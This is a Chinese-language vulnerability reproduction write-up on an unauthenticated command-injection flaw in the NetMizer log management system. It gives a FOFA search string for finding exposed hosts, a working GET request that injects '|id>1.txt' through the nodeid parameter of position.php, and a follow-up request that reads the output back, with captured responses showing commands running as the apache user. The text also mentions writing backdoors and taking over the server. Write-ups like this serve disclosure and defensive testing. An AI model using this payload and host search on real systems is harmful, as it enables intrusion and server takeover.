

N7-1NetMizer-日志管理系统-RCE

漏洞描述：

NetMizer 日志管理系统 position.php、hostdelay.php、等接口处存在命令执行漏洞，未经身份验证的攻击者可通过该漏洞在服务器端任意执行命令，写入后门，获取服务器权限，进而控制整个web服务器。

影响版本：

- NetMizer-日志管理系统

网站图片：



网络测绘：

fofa语法：

FOFA: title="NetMizer 日志管理系统"

漏洞复现：

payload:

```
GET /data/search/position.php?action=file&nodeid=|id>1.txt HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
```

效果图:

Request

1 GET /data/search/position.php?action=file&nodeid=|id>1.txt HTTP/1.1

2 Host: 3088

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0

4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8

5 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

6 Accept-Encoding: gzip, deflate

7 Connection: close

Responses 42bytes / 45ms

1 HTTP/1.1 200 OK

2 Date: Wed, 14 Feb 2024 16:41:22 GMT

3 Server: Apache/2.2.15 (CentOS)

4 X-Powered-By: PHP/5.3.3

5 Connection: close

6 Content-Type: text/html; charset=GB2312

7 Content-Length: 42

8

9 {"success": "success", "total": 0, "datas": []}

验证

```
GET /data/search/1.txt HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
```

Request		Responses 48bytes / 0ms	
1	GET /data/search/1.txt HTTP/1.1	1	HTTP/1.1 200 OK
2	Host: 10.10.10.8088	2	Date: Wed, 14 Feb 2024 16:42:28 GMT
3	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0	3	Server: Apache/2.2.15 (CentOS)
4	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8	4	Last-Modified: Wed, 14 Feb 2024 16:41:22 GMT
5	Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3	5	ETag: "4a0f1e-30-6115a2e55d2e4"
6	Accept-Encoding: gzip, deflate	6	Accept-Ranges: bytes
7	Connection: close	7	Connection: close
		8	Content-Type: text/plain; charset=GB2312
		9	Content-Length: 48
		10	
		11	uid=48(apache) gid=48(apache) groups=48(a
		12	